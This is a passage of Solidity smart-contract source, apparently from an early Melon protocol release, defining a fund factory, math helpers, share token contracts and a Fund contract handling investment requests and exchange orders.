isMakePermitted( uint orderPrice, uint referencePrice, address sellAsset, address buyAsset, uint sellQuantity, uint buyQuantity ) view returns (bool); /// @notice Checks if the takeOrder price is reasonable and not manipulative /// @param orderPrice Price of Order /// @param referencePrice Reference price obtained through PriceFeed contract /// @param sellAsset Asset (as registered in Asset registrar) to be sold /// @param buyAsset Asset (as registered in Asset registrar) to be bought /// @param sellQuantity Quantity of sellAsset to be sold /// @param buyQuantity Quantity of buyAsset to be bought /// @return If takeOrder is permitted function isTakePermitted( uint orderPrice, uint referencePrice, address sellAsset, address buyAsset, uint sellQuantity, uint buyQuantity ) view returns (bool); } interface VersionInterface { // EVENTS event FundUpdated(uint id); // PUBLIC METHODS function shutDown() external; function setupFund( string ofFundName, address ofQuoteAsset, uint ofManagementFee, uint ofPerformanceFee, address ofCompliance, address ofRiskMgmt, address ofPriceFeed, address[] ofExchanges, address[] ofExchangeAdapters, uint8 v, bytes32 r, bytes32 s ); function shutDownFund(address ofFund); // PUBLIC VIEW METHODS function getNativeAsset() view returns (address); function getFundById(uint withId) view returns (address); function getLastFundId() view returns (uint); function getFundByManager(address ofManager) view returns (address); function termsAndConditionsAreSigned(uint8 v, bytes32 r, bytes32 s) view returns (bool signed); } contract Version is DBC, Owned, VersionInterface { // FIELDS // Constant fields bytes32 public constant TERMS_AND_CONDITIONS = 0x47173285a8d7341e5e972fc677286384f802f8ef42a5ec5f03bbfa254cb01fad; // Hashed terms and conditions as displayed on IPFS. // Constructor fields string public VERSION_NUMBER; // SemVer of Melon protocol version address public NATIVE_ASSET; // Address of wrapped native asset contract address public GOVERNANCE; // Address of Melon protocol governance contract // Methods fields bool public isShutDown; // Governance feature, if yes than setupFund gets blocked and shutDownFund gets opened address[] public listOfFunds; // A complete list of fund addresses created using this version mapping (address => address) public managerToFunds; // Links manager address to fund address created using this version // EVENTS event FundUpdated(address ofFund); // METHODS // CONSTRUCTOR /// @param versionNumber SemVer of Melon protocol version /// @param ofGovernance Address of Melon governance contract /// @param ofNativeAsset Address of wrapped native asset contract function Version( string versionNumber, address ofGovernance, address ofNativeAsset ) { VERSION_NUMBER = versionNumber; GOVERNANCE = ofGovernance; NATIVE_ASSET = ofNativeAsset; } // EXTERNAL METHODS function shutDown() external pre_cond(msg.sender == GOVERNANCE) { isShutDown = true; } // PUBLIC METHODS /// @param ofFundName human-readable descriptive name (not necessarily unique) /// @param ofQuoteAsset Asset against which performance fee is measured against /// @param ofManagementFee A time based fee, given in a number which is divided by 10 ** 15 /// @param ofPerformanceFee A time performance based fee, performance relative to ofQuoteAsset, given in a number which is divided by 10 ** 15 /// @param ofCompliance Address of participation module /// @param ofRiskMgmt Address of risk management module /// @param ofPriceFeed Address of price feed module /// @param ofExchanges Addresses of exchange on which this fund can trade /// @param ofExchangeAdapters Addresses of exchange adapters /// @param v ellipitc curve parameter v /// @param r ellipitc curve parameter r /// @param s ellipitc curve parameter s function setupFund( string ofFundName, address ofQuoteAsset, uint ofManagementFee, uint ofPerformanceFee, address ofCompliance, address ofRiskMgmt, address ofPriceFeed, address[] ofExchanges, address[] ofExchangeAdapters, uint8 v, bytes32 r, bytes32 s ) { require(!isShutDown); require(termsAndConditionsAreSigned(v, r, s)); // Either novel fund name or previous owner of fund name require(managerToFunds[msg.sender] == 0); // Add limitation for simpler migration process of shutting down and setting up fund address ofFund = new Fund( msg.sender, ofFundName, ofQuoteAsset, ofManagementFee, ofPerformanceFee, NATIVE_ASSET, ofCompliance, ofRiskMgmt, ofPriceFeed, ofExchanges, ofExchangeAdapters ); listOfFunds.push(ofFund); managerToFunds[msg.sender] = ofFund; FundUpdated(ofFund); } /// @dev Dereference Fund and trigger selfdestruct /// @param ofFund Address of the fund to be shut down function shutDownFund(address ofFund) pre_cond(isShutDown || managerToFunds[msg.sender] == ofFund) { Fund fund = Fund(ofFund); delete managerToFunds[msg.sender]; fund.shutDown(); FundUpdated(ofFund); } // PUBLIC VIEW METHODS /// @dev Proof that terms and conditions have been read and understood /// @param v ellipitc curve parameter v /// @param r ellipitc curve parameter r /// @param s ellipitc curve parameter s /// @return signed Whether or not terms and conditions have been read and understood function termsAndConditionsAreSigned(uint8 v, bytes32 r, bytes32 s) view returns (bool signed) { return ecrecover( // Parity does prepend \x19Ethereum Signed Message:\n{len(message)} before signing. // Signature order has also been changed in 1.6.7 and upcoming 1.7.x, // it will return rsv (same as geth; where v is [27, 28]). // Note that if you are using ecrecover, v will be either "00" or "01". // As a result, in order to use this value, you will have to parse it to an // integer and then add 27. This will result in either a 27 or a 28. // https://github.com/ethereum/wiki/wiki/JavaScript-API#web3ethsign keccak256("\x19Ethereum Signed Message:\n32", TERMS_AND_CONDITIONS), v, r, s ) == msg.sender; // Has sender signed TERMS_AND_CONDITIONS } function getNativeAsset() view returns (address) { return NATIVE_ASSET; } function getFundById(uint withId) view returns (address) { return listOfFunds[withId]; } function getLastFundId() view returns (uint) { return listOfFunds.length - 1; } function getFundByManager(address ofManager) view returns (address) { return managerToFunds[ofManager]; } } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract Asset is DSMath, AssetInterface, ERC223Interface { // DATA STRUCTURES mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; uint public totalSupply; // PUBLIC METHODS /** * @notice Send `_value` tokens to `_to` from `msg.sender` * @dev Transfers sender's tokens to a given address * @dev Similar to transfer(address, uint, bytes), but without _data parameter * @param _to Address of token receiver * @param _value Number of tokens to transfer * @return Returns success of function call */ function transfer(address _to, uint _value) public returns (bool success) { uint codeLength; bytes memory empty; assembly { // Retrieve the size of the code on target address, this needs assembly. codeLength := extcodesize(_to) } require(balances[msg.sender] >= _value); // sanity checks require(balances[_to] + _value >= balances[_to]); balances[msg.sender] = sub(balances[msg.sender], _value); balances[_to] = add(balances[_to], _value); // if (codeLength > 0) { // ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); // receiver.tokenFallback(msg.sender, _value, empty); // } Transfer(msg.sender, _to, _value, empty); return true; } /** * @notice Send `_value` tokens to `_to` from `msg.sender` and trigger tokenFallback if sender is a contract * @dev Function that is called when a user or contract wants to transfer funds * @param _to Address of token receiver * @param _value Number of tokens to transfer * @param _data Data to be sent to tokenFallback * @return Returns success of function call */ function transfer(address _to, uint _value, bytes _data) public returns (bool success) { uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly. codeLength := extcodesize(_to) } require(balances[msg.sender] >= _value); // sanity checks require(balances[_to] + _value >= balances[_to]); balances[msg.sender] = sub(balances[msg.sender], _value); balances[_to] = add(balances[_to], _value); // if (codeLength > 0) { // ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); // receiver.tokenFallback(msg.sender, _value, _data); // } Transfer(msg.sender, _to, _value); return true; } /// @notice Transfer `_value` tokens from `_from` to `_to` if `msg.sender` is allowed. /// @notice Restriction: An account can only use this function to send to itself /// @dev Allows for an approved third party to transfer tokens from one /// address to another. Returns success. /// @param _from Address from where tokens are withdrawn. /// @param _to Address to where tokens are sent. /// @param _value Number of tokens to transfer. /// @return Returns success of function call. function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(_from != 0x0); require(_to != 0x0); require(_to != address(this)); require(balances[_from] >= _value); require(allowed[_from][msg.sender] >= _value); require(balances[_to] + _value >= balances[_to]); // require(_to == msg.sender); // can only use transferFrom to send to self balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } /// @notice Allows `_spender` to transfer `_value` tokens from `msg.sender` to any address. /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. /// @return Returns success of function call. function approve(address _spender, uint _value) public returns (bool) { require(_spender != 0x0); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 // require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // PUBLIC VIEW METHODS /// @dev Returns number of allowed tokens that a spender can transfer on /// behalf of a token owner. /// @param _owner Address of token owner. /// @param _spender Address of token spender. /// @return Returns remaining allowance for spender. function allowance(address _owner, address _spender) constant public returns (uint) { return allowed[_owner][_spender]; } /// @dev Returns number of tokens owned by the given address. /// @param _owner Address of token owner. /// @return Returns balance of owner. function balanceOf(address _owner) constant public returns (uint) { return balances[_owner]; } } contract Shares is Asset, SharesInterface { // FIELDS // Constructor fields string public name; string public symbol; uint public decimal; uint public creationTime; // METHODS // CONSTRUCTOR /// @param _name Name these shares /// @param _symbol Symbol of shares /// @param _decimal Amount of decimals sharePrice is denominated in, defined to be equal as deciamls in REFERENCE_ASSET contract /// @param _creationTime Timestamp of share creation function Shares(string _name, string _symbol, uint _decimal, uint _creationTime) { name = _name; symbol = _symbol; decimal = _decimal; creationTime = _creationTime; } // PUBLIC METHODS // PUBLIC VIEW METHODS function getName() view returns (string) { return name; } function getSymbol() view returns (string) { return symbol; } function getDecimals() view returns (uint) { return decimal; } function getCreationTime() view returns (uint) { return creationTime; } function toSmallestShareUnit(uint quantity) view returns (uint) { return mul(quantity, 10 ** getDecimals()); } function toWholeShareUnit(uint quantity) view returns (uint) { return quantity / (10 ** getDecimals()); } function transfer(address _to, uint256 _value) public returns (bool) { require(_to == address(this)); } function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to == address(this)); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to == address(this)); } // INTERNAL METHODS /// @param recipient Address the new shares should be sent to /// @param shareQuantity Number of shares to be created function createShares(address recipient, uint shareQuantity) internal { totalSupply = add(totalSupply, shareQuantity); balances[recipient] = add(balances[recipient], shareQuantity); Created(msg.sender, now, shareQuantity); } /// @param recipient Address the new shares should be taken from when destroyed /// @param shareQuantity Number of shares to be annihilated function annihilateShares(address recipient, uint shareQuantity) internal { totalSupply = sub(totalSupply, shareQuantity); balances[recipient] = sub(balances[recipient], shareQuantity); Annihilated(msg.sender, now, shareQuantity); } } contract RestrictedShares is Shares { // CONSTRUCTOR /// @param _name Name these shares /// @param _symbol Symbol of shares /// @param _decimal Amount of decimals sharePrice is denominated in, defined to be equal as deciamls in REFERENCE_ASSET contract /// @param _creationTime Timestamp of share creation function RestrictedShares( string _name, string _symbol, uint _decimal, uint _creationTime ) Shares(_name, _symbol, _decimal, _creationTime) {} // PUBLIC METHODS /** * @notice Send `_value` tokens to `_to` from `msg.sender` * @dev Transfers sender's tokens to a given address * @dev Similar to transfer(address, uint, bytes), but without _data parameter * @param _to Address of token receiver * @param _value Number of tokens to transfer * @return Returns success of function call */ function transfer(address _to, uint _value) public returns (bool success) { require(msg.sender == address(this) || _to == address(this)); uint codeLength; bytes memory empty; assembly { // Retrieve the size of the code on target address, this needs assembly. codeLength := extcodesize(_to) } require(balances[msg.sender] >= _value); // sanity checks require(balances[_to] + _value >= balances[_to]); balances[msg.sender] = sub(balances[msg.sender], _value); balances[_to] = add(balances[_to], _value); if (codeLength > 0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } Transfer(msg.sender, _to, _value, empty); return true; } /** * @notice Send `_value` tokens to `_to` from `msg.sender` and trigger tokenFallback if sender is a contract * @dev Function that is called when a user or contract wants to transfer funds * @param _to Address of token receiver * @param _value Number of tokens to transfer * @param _data Data to be sent to tokenFallback * @return Returns success of function call */ function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(msg.sender == address(this) || _to == address(this)); uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly. codeLength := extcodesize(_to) } require(balances[msg.sender] >= _value); // sanity checks require(balances[_to] + _value >= balances[_to]); balances[msg.sender] = sub(balances[msg.sender], _value); balances[_to] = add(balances[_to], _value); if (codeLength > 0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value); return true; } /// @notice Allows `_spender` to transfer `_value` tokens from `msg.sender` to any address. /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. /// @return Returns success of function call. function approve(address _spender, uint _value) public returns (bool) { require(msg.sender == address(this)); require(_spender != 0x0); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract Fund is DSMath, DBC, Owned, RestrictedShares, FundInterface, ERC223ReceivingContract { // TYPES struct Modules { // Describes all modular parts, standardised through an interface PriceFeedInterface pricefeed; // Provides all external data ComplianceInterface compliance; // Boolean functions regarding invest/redeem RiskMgmtInterface riskmgmt; // Boolean functions regarding make/take orders } struct Calculations { // List of internal calculations uint gav; // Gross asset value uint managementFee; // Time based fee uint performanceFee; // Performance based fee measured against QUOTE_ASSET uint unclaimedFees; // Fees not yet allocated to the fund manager uint nav; // Net asset value uint highWaterMark; // A record of best all-time fund performance uint totalSupply; // Total supply of shares uint timestamp; // Time when calculations are performed in seconds } enum RequestStatus { active, cancelled, executed } enum RequestType { invest, redeem, tokenFallbackRedeem } struct Request { // Describes and logs whenever asset enter and leave fund due to Participants address participant; // Participant in Melon fund requesting investment or redemption RequestStatus status; // Enum: active, cancelled, executed; Status of request RequestType requestType; // Enum: invest, redeem, tokenFallbackRedeem address requestAsset; // Address of the asset being requested uint shareQuantity; // Quantity of Melon fund shares uint giveQuantity; // Quantity in Melon asset to give to Melon fund to receive shareQuantity uint receiveQuantity; // Quantity in Melon asset to receive from Melon fund for given shareQuantity uint timestamp; // Time of request creation in seconds uint atUpdateId; // Pricefeed updateId when this request was created } enum OrderStatus { active, partiallyFilled, fullyFilled, cancelled } enum OrderType { make, take } struct Order { // Describes and logs whenever assets enter and leave fund due to Manager uint exchangeId; // Id as returned from exchange OrderStatus status; // Enum: active, partiallyFilled, fullyFilled, cancelled OrderType orderType; // Enum: make, take address sellAsset; // Asset (as registered in Asset registrar) to be sold address buyAsset; // Asset (as registered in Asset registrar) to be bought uint sellQuantity; // Quantity of sellAsset to be sold uint buyQuantity; // Quantity of sellAsset to be bought uint timestamp; // Time of order creation in seconds uint fillQuantity; // Buy quantity filled; Always less than buy_quantity } struct Exchange { address exchange; // Address of the exchange ExchangeInterface exchangeAdapter; //Exchange adapter contracts respective to the exchange bool isApproveOnly; // True in case of exchange implementation which requires are approved when an order is made instead of transfer } // FIELDS // Constant fields uint public constant MAX_FUND_ASSETS = 4; // Max ownable assets by the fund supported by gas limits // Constructor fields uint public MANAGEMENT_FEE_RATE; // Fee rate in QUOTE_ASSET per delta improvement in WAD uint public PERFORMANCE_FEE_RATE; // Fee rate in QUOTE_ASSET per managed seconds in WAD address public VERSION; // Address of Version contract Asset public QUOTE_ASSET; // QUOTE asset as ERC20 contract NativeAssetInterface public NATIVE_ASSET; // Native asset as ERC20 contract // Methods fields Modules public module; // Struct which holds all the initialised module instances Exchange[] public exchanges; // Array containing exchanges this fund supports Calculations public atLastUnclaimedFeeAllocation; // Calculation results at last allocateUnclaimedFees() call bool public isShutDown; // Security feature, if yes than investing, managing, allocateUnclaimedFees gets blocked Request[] public requests; // All the requests this fund received from participants bool public isInvestAllowed; // User option, if false fund rejects Melon investments bool public isRedeemAllowed; // User option, if false fund rejects Melon redemptions; Redemptions using slices always possible Order[] public orders; // All the orders this fund placed on exchanges mapping (uint => mapping(address => uint)) public exchangeIdsToOpenMakeOrderIds; // exchangeIndex to: asset to open make order ID ; if no open make orders, orderID is zero address[] public ownedAssets; // List of all assets owned by the fund or for which the fund has open make orders mapping (address => bool) public isInAssetList; // Mapping from asset to whether the asset exists in ownedAssets mapping (address => bool) public isInOpenMakeOrder; // Mapping from asset to whether the asset is in a open make order as buy asset // METHODS // CONSTRUCTOR /// @dev Should only be called via Version.setupFund(..) /// @param withName human-readable descriptive name (not necessarily unique) /// @param ofQuoteAsset Asset against which mgmt and performance fee is measured against and which can be used to invest/redeem using this single asset /// @param ofManagementFee A time based fee expressed, given in a number which is divided by 1 WAD /// @param ofPerformanceFee A time performance based fee, performance relative to ofQuoteAsset, given in a number which is divided by 1 WAD /// @param ofCompliance Address of compliance module /// @param ofRiskMgmt Address of risk management module /// @param ofPriceFeed Address of price feed module /// @param ofExchanges Addresses of exchange on which this fund can trade /// @param ofExchangeAdapters Addresses of exchange adapters /// @return Deployed Fund with manager set as ofManager function Fund( address ofManager, string withName, address ofQuoteAsset, uint ofManagementFee, uint ofPerformanceFee, address ofNativeAsset, address ofCompliance, address ofRiskMgmt, address ofPriceFeed, address[] ofExchanges, address[] ofExchangeAdapters ) RestrictedShares(withName, "MLNF", 18, now) { isInvestAllowed = true; isRedeemAllowed = true; owner = ofManager; require(ofManagementFee < 10 ** 18); // Require management fee to be less than 100 percent MANAGEMENT_FEE_RATE = ofManagementFee; // 1 percent is expressed as 0.01 * 10 ** 18 require(ofPerformanceFee < 10 ** 18); // Require performance fee to be less than 100 percent PERFORMANCE_FEE_RATE = ofPerformanceFee; // 1 percent is expressed as 0.01 * 10 ** 18 VERSION = msg.sender; module.compliance = ComplianceInterface(ofCompliance); module.riskmgmt = RiskMgmtInterface(ofRiskMgmt); module.pricefeed = PriceFeedInterface(ofPriceFeed); // Bridged to Melon exchange interface by exchangeAdapter library for (uint i = 0; i < ofExchanges.length; ++i) { ExchangeInterface adapter = ExchangeInterface(ofExchangeAdapters[i]); bool isApproveOnly = adapter.isApproveOnly(); exchanges.push(Exchange({ exchange: ofExchanges[i], exchangeAdapter: adapter, isApproveOnly: isApproveOnly })); } // Require Quote assets exists in pricefeed QUOTE_ASSET = Asset(ofQuoteAsset); NATIVE_ASSET = NativeAssetInterface(ofNativeAsset); // Quote Asset and Native asset always in owned assets list ownedAssets.push(ofQuoteAsset); isInAssetList[ofQuoteAsset] = true; ownedAssets.push(ofNativeAsset); isInAssetList[ofNativeAsset] = true; require(address(QUOTE_ASSET) == module.pricefeed.getQuoteAsset()); // Sanity check atLastUnclaimedFeeAllocation = Calculations({ gav: 0, managementFee: 0, performanceFee: 0, unclaimedFees: 0, nav: 0, highWaterMark: 10 ** getDecimals(), totalSupply: totalSupply, timestamp: now }); } // EXTERNAL METHODS // EXTERNAL : ADMINISTRATION function enableInvestment() external pre_cond(isOwner()) { isInvestAllowed = true; } function disableInvestment() external pre_cond(isOwner()) { isInvestAllowed = false; } function enableRedemption() external pre_cond(isOwner()) { isRedeemAllowed = true; } function disableRedemption() external pre_cond(isOwner()) { isRedeemAllowed = false; } function shutDown() external pre_cond(msg.sender == VERSION) { isShutDown = true; } // EXTERNAL : PARTICIPATION /// @notice Give melon tokens to receive shares of this fund /// @dev Recommended to give some leeway in prices to account for possibly slightly changing prices /// @param giveQuantity Quantity of Melon token times 10 ** 18 offered to receive shareQuantity /// @param shareQuantity Quantity of shares times 10 ** 18 requested to be received function requestInvestment( uint giveQuantity, uint shareQuantity, bool isNativeAsset ) external pre_cond(!isShutDown) pre_cond(isInvestAllowed) // investment using Melon has not been deactivated by the Manager pre_cond(module.compliance.isInvestmentPermitted(msg.sender, giveQuantity, shareQuantity)) // Compliance Module: Investment permitted { requests.push(Request({ participant: msg.sender, status: RequestStatus.active, requestType: RequestType.invest, requestAsset: isNativeAsset ? address(NATIVE_ASSET) : address(QUOTE_ASSET), shareQuantity: shareQuantity, giveQuantity: giveQuantity, receiveQuantity: shareQuantity, timestamp: now, atUpdateId: module.pricefeed.getLastUpdateId() })); RequestUpdated(getLastRequestId()); } /// @notice Give shares of this fund to receive melon tokens /// @dev Recommended to give some leeway in prices to account for possibly slightly changing prices /// @param shareQuantity Quantity of shares times 10 ** 18 offered to redeem /// @param receiveQuantity Quantity of Melon token times 10 ** 18 requested to receive for shareQuantity function requestRedemption( uint shareQuantity, uint receiveQuantity, bool isNativeAsset ) external pre_cond(!isShutDown) pre_cond(isRedeemAllowed) // Redemption using Melon has not been deactivated by Manager pre_cond(module.compliance.isRedemptionPermitted(msg.sender, shareQuantity, receiveQuantity)) // Compliance Module: Redemption permitted { requests.push(Request({ participant: msg.sender, status: RequestStatus.active, requestType: RequestType.redeem, requestAsset: isNativeAsset ? address(NATIVE_ASSET) : address(QUOTE_ASSET), shareQuantity: shareQuantity, giveQuantity: shareQuantity, receiveQuantity: receiveQuantity, timestamp: now, atUpdateId: module.pricefeed.getLastUpdateId() })); RequestUpdated(getLastRequestId()); } /// @notice Executes active investment and redemption requests, in a way that minimises information advantages of investor /// @dev Distributes melon and shares according to the request /// @param id Index of request to be executed /// @dev Active investment or redemption request executed function executeRequest(uint id) external pre_cond(!isShutDown) pre_cond(requests[id].status == RequestStatus.active) pre_cond(requests[id].requestType != RequestType.redeem || requests[id].shareQuantity <= balances[requests[id].participant]) // request owner does not own enough shares pre_cond( totalSupply == 0 || ( now >= add(requests[id].timestamp, module.pricefeed.getInterval()) && module.pricefeed.getLastUpdateId() >= add(requests[id].atUpdateId, 2) ) ) // PriceFeed Module: Wait at least one interval time and two updates before continuing (unless it is the first investment) { Request request = requests[id]; // PriceFeed Module: No recent updates for fund asset list require(module.pricefeed.hasRecentPrice(address(request.requestAsset))); // sharePrice quoted in QUOTE_ASSET and multiplied by 10 ** fundDecimals uint costQuantity = toWholeShareUnit(mul(request.shareQuantity, calcSharePriceAndAllocateFees())); // By definition quoteDecimals == fundDecimals if (request.requestAsset == address(NATIVE_ASSET)) { var (isPriceRecent, invertedNativeAssetPrice, nativeAssetDecimal) = module.pricefeed.getInvertedPrice(address(NATIVE_ASSET)); if (!isPriceRecent) { revert(); } costQuantity = mul(costQuantity, invertedNativeAssetPrice) / 10 ** nativeAssetDecimal; } if ( isInvestAllowed && request.requestType == RequestType.invest && costQuantity <= request.giveQuantity ) { request.status = RequestStatus.executed; assert(AssetInterface(request.requestAsset).transferFrom(request.participant, this, costQuantity)); // Allocate Value createShares(request.participant, request.shareQuantity); // Accounting } else if ( isRedeemAllowed && request.requestType == RequestType.redeem && request.receiveQuantity <= costQuantity ) { request.status = RequestStatus.executed; assert(AssetInterface(request.requestAsset).transfer(request.participant, costQuantity)); // Return value annihilateShares(request.participant, request.shareQuantity); // Accounting } else if ( isRedeemAllowed && request.requestType == RequestType.tokenFallbackRedeem && request.receiveQuantity <= costQuantity ) { request.status = RequestStatus.executed; assert(AssetInterface(request.requestAsset).transfer(request.participant, costQuantity)); // Return value annihilateShares(this, request.shareQuantity); // Accounting } else { revert(); // Invalid Request or invalid giveQuantity / receiveQuantity } } /// @notice Cancels active investment and redemption requests /// @param id Index of request to be executed function cancelRequest(uint id) external pre_cond(requests[id].status == RequestStatus.active) // Request is active pre_cond(requests[id].participant == msg.sender || isShutDown) // Either request creator or fund is shut down { requests[id].status = RequestStatus.cancelled; } /// @notice Redeems by allocating an ownership percentage of each asset to the participant /// @dev Independent of running price feed! /// @param shareQuantity Number of shares owned by the participant, which the participant would like to redeem for individual assets /// @return Whether all assets sent to shareholder or not function redeemAllOwnedAssets(uint shareQuantity) external returns (bool success) { return emergencyRedeem(shareQuantity, ownedAssets); } // EXTERNAL : MANAGING /// @notice Makes an order on the selected exchange /// @dev These are orders that are not expected to settle immediately. Sufficient balance (== sellQuantity) of sellAsset /// @param sellAsset Asset (as registered in Asset registrar) to be sold /// @param buyAsset Asset (as registered in Asset registrar) to be bought /// @param sellQuantity Quantity of sellAsset to be sold /// @param buyQuantity Quantity of buyAsset to be bought function makeOrder( uint exchangeNumber, address sellAsset, address buyAsset, uint sellQuantity, uint buyQuantity ) external pre_cond(isOwner()) pre_cond(!isShutDown) { require(buyAsset != address(this)); // Prevent buying of own fund token require(quantityHeldInCustodyOfExchange(sellAsset) == 0); // Curr only one make order per sellAsset allowed. Please wait or cancel existing make order. require(module.pricefeed.existsPriceOnAssetPair(sellAsset, buyAsset)); // PriceFeed module: Requested asset pair not valid var (isRecent, referencePrice, ) = module.pricefeed.getReferencePrice(sellAsset, buyAsset); require(isRecent); // Reference price is required to be recent require( module.riskmgmt.isMakePermitted( module.pricefeed.getOrderPrice( sellAsset, buyAsset, sellQuantity, buyQuantity ), referencePrice, sellAsset, buyAsset, sellQuantity, buyQuantity ) ); // RiskMgmt module: Make order not permitted require(isInAssetList[buyAsset] || ownedAssets.length < MAX_FUND_ASSETS); // Limit for max ownable assets by the fund reached require(AssetInterface(sellAsset).approve(exchanges[exchangeNumber].exchange, sellQuantity)); // Approve exchange to spend assets // Since there is only one openMakeOrder allowed for each asset, we can assume that openMakeOrderId is set as zero by quantityHeldInCustodyOfExchange() function require(address(exchanges[exchangeNumber].exchangeAdapter).delegatecall(bytes4(keccak256("makeOrder(address,address,address,uint256,uint256)")), exchanges[exchangeNumber].exchange, sellAsset, buyAsset, sellQuantity, buyQuantity)); exchangeIdsToOpenMakeOrderIds[exchangeNumber][sellAsset] = exchanges[exchangeNumber].exchangeAdapter.getLastOrderId(exchanges[exchangeNumber].exchange); // Success defined as non-zero order id require(exchangeIdsToOpenMakeOrderIds[exchangeNumber][sellAsset] != 0); // Update ownedAssets array and isInAssetList, isInOpenMakeOrder mapping isInOpenMakeOrder[buyAsset] = true; if (!isInAssetList[buyAsset]) { ownedAssets.push(buyAsset); isInAssetList[buyAsset] = true; } orders.push(Order({ exchangeId: exchangeIdsToOpenMakeOrderIds[exchangeNumber][sellAsset], status: OrderStatus.active, orderType: OrderType.make, sellAsset: sellAsset, buyAsset: buyAsset, sellQuantity: sellQuantity, buyQuantity: buyQuantity, timestamp: now, fillQuantity: 0 })); OrderUpdated(exchangeIdsToOpenMakeOrderIds[exchangeNumber][sellAsset]); } /// @notice Takes an active order on the selected exchange /// @dev These are orders that are expected to settle immediately /// @param id Active order id /// @param receiveQuantity Buy quantity of what others are selling on selected Exchange function takeOrder(uint exchangeNumber, uint id, uint receiveQuantity) external pre_cond(isOwner()) pre_cond(!isShutDown) { // Get information of order by order id Order memory order; // Inverse variable terminology! Buying what another person is selling ( order.sellAsset, order.buyAsset, order.sellQuantity, order.buyQuantity ) = exchanges[exchangeNumber].exchangeAdapter.getOrder(exchanges[exchangeNumber].exchange, id); // Check pre conditions require(order.sellAsset != address(this)); // Prevent buying of own fund token require(module.pricefeed.existsPriceOnAssetPair(order.buyAsset, order.sellAsset)); // PriceFeed module: Requested asset pair not valid require(isInAssetList[order.sellAsset] || ownedAssets.length < MAX_FUND_ASSETS); // Limit for max ownable assets by the fund reached var (isRecent, referencePrice, ) = module.pricefeed.getReferencePrice(order.buyAsset, order.sellAsset); require(isRecent); // Reference price is required to be recent require(receiveQuantity <= order.sellQuantity); // Not enough quantity of order for what is trying to be bought uint spendQuantity = mul(receiveQuantity, order.buyQuantity) / order.sellQuantity; require(AssetInterface(order.buyAsset).approve(exchanges[exchangeNumber].exchange, spendQuantity)); // Could not approve spending of spendQuantity of order.buyAsset require( module.riskmgmt.isTakePermitted( module.pricefeed.getOrderPrice( order.buyAsset, order.sellAsset, order.buyQuantity, // spendQuantity order.sellQuantity // receiveQuantity ), referencePrice, order.buyAsset, order.sellAsset, order.buyQuantity, order.sellQuantity )); // RiskMgmt module: Take order not permitted // Execute request require(address(exchanges[exchangeNumber].exchangeAdapter).delegatecall(bytes4(keccak256("takeOrder(address,uint256,uint256)")), exchanges[exchangeNumber].exchange, id, receiveQuantity)); // Update ownedAssets array and isInAssetList mapping if (!isInAssetList[order.sellAsset]) { ownedAssets.push(order.sellAsset); isInAssetList[order.sellAsset] = true; } order.exchangeId = id; order.status = OrderStatus.fullyFilled; order.orderType = OrderType.take; order.timestamp = now; order.fillQuantity = receiveQuantity; orders.push(order); OrderUpdated(id); } /// @notice Cancels orders that were not expected to settle immediately, i.e. makeOrders /// @dev Reduce exposure with exchange interaction /// @param id Active order id of this order array with order owner of this contract on selected Exchange function cancelOrder(uint exchangeNumber, uint id) external pre_cond(isOwner() || isShutDown) { // Get information of fund order by order id Order order = orders[id]; // Execute request require(address(exchanges[exchangeNumber].exchangeAdapter).delegatecall(bytes4(keccak256("cancelOrder(address,uint256)")), exchanges[exchangeNumber].exchange, order.exchangeId)); 